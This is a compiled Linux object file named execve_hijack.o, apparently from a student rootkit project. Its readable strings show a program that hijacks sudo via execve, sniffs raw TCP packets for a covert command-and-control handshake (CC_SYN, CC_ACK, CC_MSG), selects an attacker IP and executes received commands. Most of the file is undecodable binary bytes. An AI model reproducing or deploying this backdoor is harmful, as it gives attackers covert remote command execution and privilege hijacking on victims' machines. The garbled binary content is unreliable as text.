src/helpers/execve_hijack.o

ELF>(b@@<00><1E>UH<55><48>H<EFBFBD><48>`dH<64>%(H<>E<EFBFBD>1<EFBFBD><31><00><00><00>E<EFBFBD><45>}<7D><>u
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<>E<EFBFBD>H<>E<EFBFBD>H<>U<EFBFBD><55>E<EFBFBD><45><00><00><><EFBFBD><00><><EFBFBD>u<07><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>r<EFBFBD><00><00><00>E<EFBFBD><45>}<7D><>u<07><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>SH<53>E<EFBFBD>H<>E<EFBFBD>H<>UЋE<D08B><45><00><00><><EFBFBD><00><><EFBFBD>u<07><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<>U<EFBFBD><55>E<EFBFBD><45><EFBFBD>H<EFBFBD>=<00><00><00>H<>M<EFBFBD>dH+%(t<05><00><><EFBFBD><1E>UH<55><48>H<EFBFBD><48>0H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>dH<64>%(H<>E<EFBFBD>1<EFBFBD><31><00><00>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>5H<><48><EFBFBD>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>u.H<>=<00>H<><00>jH<6A><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48>H<EFBFBD><48><EFBFBD>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<><48><EFBFBD>H<><48>u<EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48>H<EFBFBD>=<00><00>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>M<EFBFBD>dH+%(t<05><00><><EFBFBD><1E>UH<55><48>H<EFBFBD><48>0dH<64>%(H<>E<EFBFBD>1<EFBFBD><31><00><00>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD><00><><EFBFBD>uH<>=<00><00><00>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>LH<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>@H<><48><0F>&H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>@<0F><0F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>t
<0A><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
<0F><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>u<07><00><05>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>@H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48>jA<>A<><00>H<><48><EFBFBD>H<><48><10><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>t+<2B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<><48>H<EFBFBD>=<00><00><00><00>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>@H<>5H<><48><EFBFBD><00><>uXH<58><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>@H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48>H<EFBFBD>=<00><00>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48>H<EFBFBD><48><EFBFBD>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>M<EFBFBD>dH+%(t@<40>9<EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD><0F><><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00><><EFBFBD><1E>UH<55><48>H<EFBFBD><48>0dH<64>%(H<>E<EFBFBD>1<EFBFBD><31><00><00>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<><48><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>u
<EFBFBD><00>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>u
<EFBFBD><00>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>@H<><00>8<EFBFBD>H<><48>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48>H<EFBFBD><48><EFBFBD>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>M<EFBFBD>dH+%(t<05><00><><EFBFBD><1E>UH<55><48>H<EFBFBD><48>@<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>dH<64>%(H<>E<EFBFBD>1<EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǅ<EFBFBD><C785><EFBFBD><EFBFBD><00>0<EFBFBD><30><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Hc<48>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><02><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<>Ή<EFBFBD><CE89><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><01><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Hc<48>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<01><0F><00><>u<EFBFBD><75><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<>5<00><><EFBFBD>ǅ<><C785><EFBFBD><EFBFBD><00><>ǅ<><C785><EFBFBD><EFBFBD><00>E<EFBFBD><45><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>H<EFBFBD><14>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<01>H<EFBFBD><10><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>H<EFBFBD><02><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<>Ή<EFBFBD><CE89><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><01><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>H<EFBFBD><14>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<01>H<EFBFBD><10><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>H<01><0F><00><>u<EFBFBD><75><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<>5<00><><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><01><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>;<3B><><EFBFBD><EFBFBD><EFBFBD><0F>N<EFBFBD><4E><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<>5<00><><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
H<>5<00><><EFBFBD>H<>=<00>H<><48> <20><><EFBFBD>H<EFBFBD>5H<><48><EFBFBD>H<><48> <20><><EFBFBD>H<EFBFBD><48>u#<23><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<>5<00><><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>	H<>5<00><><EFBFBD><00><00>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48> <20><><EFBFBD>H<EFBFBD>pH<>E<EFBFBD><45>H<>¿<00>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48>H<EFBFBD>=<00><00>H<><48>P<EFBFBD><50><EFBFBD>H<EFBFBD>u<EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48>H<>
QA<51>I<><49>H<EFBFBD>Ѻ(#<00>@H<><48><EFBFBD>H<><48>H<><48><08><>p<EFBFBD><70><EFBFBD><EFBFBD><EFBFBD>h<EFBFBD><68><EFBFBD><EFBFBD><EFBFBD>`<60><><EFBFBD><EFBFBD><EFBFBD>X<EFBFBD><58><EFBFBD><EFBFBD><EFBFBD>P<EFBFBD><50><EFBFBD><EFBFBD>H<><48>0<EFBFBD><30>y0<79><30><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<>5<00><><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǅ<><C785><EFBFBD><EFBFBD><00><>H<>E<EFBFBD>H<EFBFBD>5H<><48><EFBFBD>H<>=<00>H<>E<EFBFBD>H<EFBFBD><48><00><><EFBFBD>H<EFBFBD><48><00><><EFBFBD>H<EFBFBD>5H<><48><EFBFBD>H<><48><08><><EFBFBD>H<EFBFBD>5<00><00>H<><48><08><><EFBFBD>H<EFBFBD><48><08><><EFBFBD><0F>OH<><48><08><><EFBFBD>H<EFBFBD>5H<><48><EFBFBD><00><>uH<>=<00>ǅ<><C785><EFBFBD><EFBFBD><00>H<><48><08><><EFBFBD>H<EFBFBD><48>H<EFBFBD>=<00><00>H<><48><08><><EFBFBD>H<EFBFBD><48><EFBFBD>H<><48><10><><EFBFBD><EFBFBD><00><00>H<><48><18><><EFBFBD>H<EFBFBD><48><18><><EFBFBD>H<EFBFBD>CC_MSG#H<>H<><48><10><><EFBFBD>H<EFBFBD><48><18><><EFBFBD>H<EFBFBD><48>H<EFBFBD><48><EFBFBD>H<>E<EFBFBD>H<EFBFBD>M<EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><08><><18><><EFBFBD>A<EFBFBD>I<><49>H<EFBFBD>Ѻ(#<00>@H<><48><EFBFBD>H<><48>H<><48><08>u<EFBFBD><75>u<EFBFBD><75>u<EFBFBD><75>u<EFBFBD><75>u<EFBFBD><75>H<><48>0<EFBFBD><30>y-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<>5<00><><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>OH<4F><48><18><><EFBFBD>H<EFBFBD><48><EFBFBD>H<><48><10><><EFBFBD>H<EFBFBD><48><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><0F>7<EFBFBD><37><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00>H<>M<EFBFBD>dH+%(t<05><00><><EFBFBD><1E>UH<55><48>AWAVAUATSH<53><48><EFBFBD><00>}<7D>H<EFBFBD>u<EFBFBD>H<EFBFBD><48>x<EFBFBD><78><EFBFBD>dH<64>%(H<>E<EFBFBD>1<EFBFBD>H<EFBFBD>=<00><00>E<EFBFBD><00><04>E<EFBFBD><01>E<EFBFBD>;E<>|<7C><><00><><0F>s<00>E<EFBFBD><45><EFBFBD>Hc<48>H<EFBFBD><48>H<>U<EFBFBD>Hc<48>H<EFBFBD><48>`<60><><EFBFBD>Hǅh<C785><68><EFBFBD>Hc<48>H<EFBFBD><48>P<EFBFBD><50><EFBFBD>HǅX<C785><58><EFBFBD>H<>H<EFBFBD><14><00>H<><48>Hл<00>H<><48>Hk<48>H<><48>H<EFBFBD><48><00><><EFBFBD>H<EFBFBD><48>H)<29>H9<48>tH<><48>H<><48>$<24><00><>H<EFBFBD><EFBFBD><C281>H)<29>H<EFBFBD><EFBFBD><C281>H<><48>t%<25>H<><48>H<01>H<EFBFBD>H<><48>H<EFBFBD><48>H<><48>H<><48>H<>E<EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD>H<>H<>E<EFBFBD>H<EFBFBD>H<>P<08>E<EFBFBD><00>,<2C>E<EFBFBD>H<EFBFBD>H<EFBFBD><14>H<>E<EFBFBD>HЋU<D08B><55><EFBFBD>H<>H<>E<EFBFBD>Hc<48>H<EFBFBD>ЃE<D083><01>E<EFBFBD>;E<>|̋E<CC8B><45>PH<>E<EFBFBD>Hc<48>H<EFBFBD><04>H<><48>x<EFBFBD><78><EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD><48>H<EFBFBD>=<00><00><>yH<>=<00><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00><00><00>E<EFBFBD><45>}<7D>yH<>=<00><00>}<7D><0F><><00><00><00><>H<EFBFBD>=<00><00><00><><00>BH<>=<00><00><00>E<EFBFBD><45>}<7D>yH<>=<00><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00>E<EFBFBD><45><00><><EFBFBD><00><><EFBFBD>u0<75><00><00><>uH<>=<00><00>H<>=<00><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00>U<EFBFBD>H<EFBFBD>M<EFBFBD><4D>E<EFBFBD>H<EFBFBD>Ή<EFBFBD><CE89>H<>=<00><00><00><00>E<EFBFBD>H<EFBFBD><48>H<EFBFBD><48>Hc<48>H<EFBFBD><48>H<>U<EFBFBD>Hc<48>I<EFBFBD><49>A<EFBFBD>Hc<48>I<EFBFBD><49>A<EFBFBD>H<>H<EFBFBD><14><00>H<><48>Hо<00>H<><48>Hk<48>H<><48>H<EFBFBD><48><00><><EFBFBD>H<EFBFBD><48>H)<29>H9<48>tH<><48>H<><48>$<24><00><>H<EFBFBD><EFBFBD><C281>H)<29>H<EFBFBD><EFBFBD><C281>H<><48>t%<25>H<><48>H<01>H<EFBFBD>H<><48>H<EFBFBD><48>H<><48>H<><48>H<>E<EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD>PH<>E<EFBFBD>H<EFBFBD>H<>E<EFBFBD>H<EFBFBD>H<><48><EFBFBD>H<>5<00><00><00><00>E<EFBFBD><00>`<60>E<EFBFBD>H<EFBFBD>H<EFBFBD><48>H<><14>H<>E<EFBFBD>HЋU<D08B><55><EFBFBD>H<>H<>E<EFBFBD>Hc<48>H<EFBFBD>ЋE<D08B><45>PH<>E<EFBFBD>Hc<48>H<EFBFBD>ЋU<D08B><55><EFBFBD>H<><48>H<EFBFBD>5<00><00><00><00>E<EFBFBD><01>E<EFBFBD><45><EFBFBD>9E<39>|<7C><>E<EFBFBD><45>P<EFBFBD>H<EFBFBD>E<EFBFBD>Hc<48>H<EFBFBD><04>H<>E<EFBFBD>H<EFBFBD><48>H<>H<><48>x<EFBFBD><78><EFBFBD>H<EFBFBD>M<EFBFBD>H<EFBFBD><48>H<EFBFBD><48><EFBFBD><00><>yH<>=<00><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00>H<>=<00><00>H<><48>H<EFBFBD>]<5D>dH+%(t<05>H<>e<EFBFBD>[A\A]A^A_]<5D>Timer %i started, address sent %llx
rFailed to run commandCOMMAND ERRORRESULT OF COMMAND: %s
getifaddrsgetnameinfo() failed: %s
enp0s3Attacker IP selected: %s (%s)
	
Sniffing...
Running hijacking processCC_SYNFailed to open rawsocket
Sniffed
IP: %s
CC_ACKCC_MSG#Received client message#CC_FINConnection closed by requestReceived request: %s
Malicious program execve hijacker executedsudo/home/osboxes/TFG/src/helpers/execve_hijack/usr/bin/sudoFailed to execve()Fork failedMalicious program child executed with pid %d
/tmp/rootlogFailed to open lock file before entering hijacking routinelock file was lockedError with the lockfileChild process is exitinghijacking ARGS%i: %s
Failed to execve() originally hijacked processparent process is exiting<00><00><02>9&I(Pint*@-9<03><19><03><1B><03>}<03><1A><03><1B><03>!<21><08><07><00>1<08>	3}	6	<09>	7	<09>	8	<09>	9	<09> 	:	<09>(	;	<09>0	<	<09>8	=	<09>@	@	<09>H	A	<09>P	B	<09>X	D<16>`	F<14>h	H}p	I}t	J<0B>x	MP<00>	NW<00>	O<08><00>	Q<0F><00>	Y
<0A><00>	[<17><00>	\<19><00>	]<14><00>	^	G<00>	_
-<00>	`}<00>	b<08><00><19>
+<08><08><0C><00>
9<08><08><08><0C><00>
9<08>M<13><08>a<11><12>	
D		<0C>		<15>
*D<08>tm8<08>		}	
}	}	}	
}	}	}	}	} 	<0C>(	<0F>0 !	
	<0C>1
9
^
q
<14>
<14>P<0F><08>	<0F>o	<0F>
<EFBFBD>{<0C><00>
9
{<0F><07><08><0F><07><08><0F><07><08><0F><10>Y	<10>o	<10>	<10><14>	<10><13>^<08>oPlPii<0F><07><08><0F><07><08><0F><07><08>

"",77A<08>L<08>W<08>b<08>mxY<0F><08><0F><08><0F><08><0F><08><0F><0F>'<0F><<0F>P	!<0F>{D<10><<10>
<<10>L<10>\8L
9D\
9Pl
9<10><08>	<10>	I<00>
9 b<08>	d	<09>	e
W	f}	g}	h
W,<08>ihl/@0@tos7
8	8Did9D	:Dttl;
8	<
8		=D
	>P	?P]Pf&		hD	iD	j
<EFBFBD>	k
<EFBFBD>m
8n
8	t
8
	{D	|D	}D
	<13>D	<13>Dseq<13>P	<13>P<13>D<13>Dfin<13>Dsyn<13>Drst<13>Dpsh<13>Dack<13>Durg<13>D<13>D	<13>D	<13>D	<13>Dd/
<18>&	bC

@^
&<03>
,<16>-<16>8<08>
	<13>
	!	<09>	"@	$<14>	%<14> 	.^
(	8	G0<08>
(>	>		D	
<0B>		}	<0B> <08>/

<02>
	}<00><01><>	}<03><>~	W<03><>~	(W<03><>~pid&<03><>C<0B><04><> <00>ii
}<03><> s?<0F><04><>!=ii}<03><> <00>efd1
}<03><>!tiiF
}<03><><0C><00>"9<04><><0C><00>"9<04><>#<01>}6<01>7$<01>"}<03><>}$<01>.W<03><>}%fd<01>:}<03><>}&<01><03><>}&<01>7<03><>}&<01><0B><03><>}'ii<01>	}<03><>}&<01>J<03><>~&<01><0B><03><>}&<01>
!<02>P&<01>J<03><>~&<01>	}<03><>} <00><00>
'jj<01>
}<03><>}!<00>&<01>J<03><>~&<01><0F><03><>}'p<01><0F><03><>}!'res<01><17><03><>~&<01><17><03><>~&<01>J<03><>](<01><07><00><01><>&<01>
<EFBFBD><03><>}&<01><0B><03><>}&<01><15><03><>}&<01>	}<03><>}<0C><00>
9<00><08>(c<07><00><01>e&d
<EFBFBD><03><>w&e<0B><03><>w)f<15>)g	}&i<15>
<03><>w&j	}<03><>w'sj}<03><>w&k
e<03><>w*'ifau<1A>
<03><>w<0C>v+9#H<07><00><01><>$H<1D><03><>w'fpI<0B><03><>w'resJ<0B><03><>w'bufK
<EFBFBD><03><>w<0C><00>+9<00>,$}<00><01>&&<17><03><>&&"<22><02>@)'	}'fd'}<03><>'fd2'}<03><>'now(<02>@-exp)\))\-s*
<0A>%:;9I$>$>I&I:;9	
:;9I8
:;9<I
!I/:;97I:;9
:;9I8:;9
:;9I
:;9I
8
:;9I
8
:;9I8:;9
I
I8>I:;9(.?:;9'I@<18>B:;9I4:;9I4:;9I !"!I/#.?:;9'I@<18>B$:;9I%:;9I&4:;9I'4:;9I(.?:;9I@<18>B)4:;9I*U+!I/,.?:;9I@<18>B-4:;9I,<00>N<00><00><00><00><01>
/usr/lib/gcc/x86_64-linux-gnu/10/include/usr/include/x86_64-linux-gnu/bits/usr/include/x86_64-linux-gnu/bits/types/usr/include/usr/include/x86_64-linux-gnu/sys/usr/include/asm-generic/usr/include/netinetlibexecve_hijack.cstddef.htypes.hstruct_FILE.hFILE.hstdio.htypes.htime_t.hstruct_timespec.hint-ll64.hstruct_tm.hstruct_itimerspec.hstdint-uintn.hsockaddr.hsocket.hin.hnetdb.hip.htcp.hifaddrs.hRawTCP.htimerfd.h!	#<01>
	<09>!g"<22>#<23>	<09>tYv!g#v$<24>	<09>tYw<08>Y<06>%wX<11>
[<08>	<09><10>	<09><08>
<08>[<08><0C>u<06>	t<><16>	`<08>	Y<><1A><05>Y<0C><15><1F><<0C><01><11><06>t X<04>0<11><08><1A><10><0F>L&<08>	t
]8"<22><><01>v<><16>\<08>	<09><12>Y	<09>=<3D>!<21><<05>"u=["<05><10>Y	Z
<EFBFBD>	/<1A>	<09>Kr.
<N
<08><05>Y<0E>/
<08><1F>
JKr<08><0F><	N z<08>t	 <08><08><17>Yt	Y<08><05><08> tJY<08>@+	K<08><10>	<09>
<EFBFBD>Y	/<0F>
<0A><08>u<10>XK"<22><11><08>%YY='<08>;<08>K<08><1C>v<>
h<><1D>!<0C>Y<06>/w&<05>
<0A>t.J<08>X<01><01><02><01><01>	t/<f<"<03>	J<12>f<0C><08>
K<>	<09><11><08>	g<08>	<09>HZ	X1<08>
g<><67><0C>YtY<>
<0A>	<09>=<3D><05><0B><02><05>
%t/tf<F<03>	f *Jf\f<13><08><08>	K<><05><><0B><01>#_shortbuf__off_tshort int_IO_read_ptr_chaintm_hourdoff_mode__in6_usize_tsin_addruint64_tifu_dstaddrifa_name__uint8_tssize_tifa_datasourceipheaderlong int_IO_buf_basetm_zonelong long unsigned intnew_value2in_addr_t_codecvtexecve_hijack.clong long intsigned charsockaddr_inarpGNU C17 10.3.0 -mtune=generic -march=x86-64 -g -fasynchronous-unwind-tables -fstack-protector-strong -fstack-clash-protection -fcf-protectionsockaddr_at_filenoth_flags_IO_read_endtot_lenpacket_t__u6_addr16hostnamesockaddr_ipxres1res2check_flags_wide_data_IO_buf_end_cur_columnhostentsockaddr_dlsin6_portuint16_t_offsetsockaddr_x25__uint16_tnew_value__uint32_ttm_monhost_entrysin_zerotimeinfogetLocalIpAddress_old_IO_markerhosttm_yearunsigned ints_addr_freeres_bufcommandlong unsigned intfrag_off_IO_write_ptrpacket_ackrawtimetm_isdst__ssize_tit_interval_IO_save_baseth_urph_addrtypewindow_lock_flags2in_port_turg_ptrsockaddr_unifa_netmask__uint64_tsin_familyversionTFD_TIMER_CANCEL_ON_SEThij_argstm_minifa_flagstv_nsectimestrack_seqtm_ydaysin6_familytv_sec__syscall_slong_tpayload_IO_write_endh_aliasesth_wintcpheaderenvpiphdr_IO_lock_t_IO_FILEdestpacket/home/osboxes/TFG/src/helpersth_offtime_tpacket_restcphdrmax_expsockaddr_nssin_port_old_offsetifaddrh_lengthh_addr_listsin6_scope_idprotocol_Boolunsigned charsockaddr_isopayload_lengthlocal_ipsaddrconnection_close__pid_tifa_ifusa_familytimespec_vtable_offsetsockaddr_ax25FILEhostbuffer_markersin6_addrth_ackpayload_bufuint32_ttcp_seqargsth_seq__u64long doublecharsin6_flowinfoifa_addrth_sportitimerspec__u6_addr8IPbuffertm_wdayifa_next_IO_codecvt__off64_thijacker_process_routine_IO_read_base_IO_save_endshort unsigned inttm_mdayfamilysockaddr_eonth_sum__pad5h_name__time_tsa_family_t_unused2tm_secargvsockaddr_in6execute_commandsockaddrifaddrsth_dportsockaddr_ingetLocalIpAddressuint8_t_IO_backup_basedaddrth_x2argcpid_tsa_data_freeres_list__u6_addr32_IO_wide_datatot_expsin6_addrtest_time_values_injectionTFD_TIMER_ABSTIMEit_valuemain_IO_write_baseremote_iptm_gmtoffin_addrifu_broadaddrGCC: (Ubuntu 10.3.0-1ubuntu1) 10.3.0GNU<00>zRx<08><00>E<10>C
<02><<00>E<10>C
<02>\<00>E<10>C
<03>|<00>E<10>C
<02><00>6E<10>C
-,<00><00>E<10>C
P<><03><04><05><06><03><00><><00>,BQahy<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00>!-;E<00>6k^hpv<00><00><00><00><00><00><00><00><00>	<00><00><00><00>
l 
<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>:
1<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00>!<00><00><00><00>2<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>3<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>4<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>5<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00>
<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>*6<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>!<&<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>0<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>?/<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>I7<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ww\<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>e<00>j<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>t<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>#<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>z
<00><00>
8<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
<00><00>
8<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>32<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>><00>C<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>M<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>W9<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>^c<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>

0
<00>
<00>)
.
K<
,C
L
wS
Z
_
ym
r
<00><00>
<00><00>
<00><00>
<00><00>

<00>
<00><00>
<00><00>
H<00>
q<00>
i<00>
e<00>
<00>
+
%
<00>2
<00>?
sL
GY
<00>f
<00>s
=<00>
<00><00>
<00><00>
<00><00>
<00>
)<00>
<00><00>
<00><00>
2<00>
I<00>
<00>

<00>
|)
<00>6
2C
<00>P
]
:j
=w
]<00>
<00>
<00><00>
<00><00>
<00><00>
<00>
<00>

<00>
<00>
<00>*
b7
6G
<00>L
Sj
fw
%<00>
0<00>
<00>
<00><00>
<00><00>
<00><00>
N<00>
h<00>
<00><00>
<00><00>
<00>
{
e4
Y9
<00>E
sQ
6]
[k
qp
Q|
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
]
&
<00>%
<00>2
)?
RL
<00>j
rx
V<00>
i<00>
j<00>
.<00>
Z<00>
!<00>
<00>
<00>
#
<00>8
<00><00>
<00><00>
<00><00>

<00>
<00>$
<00>0
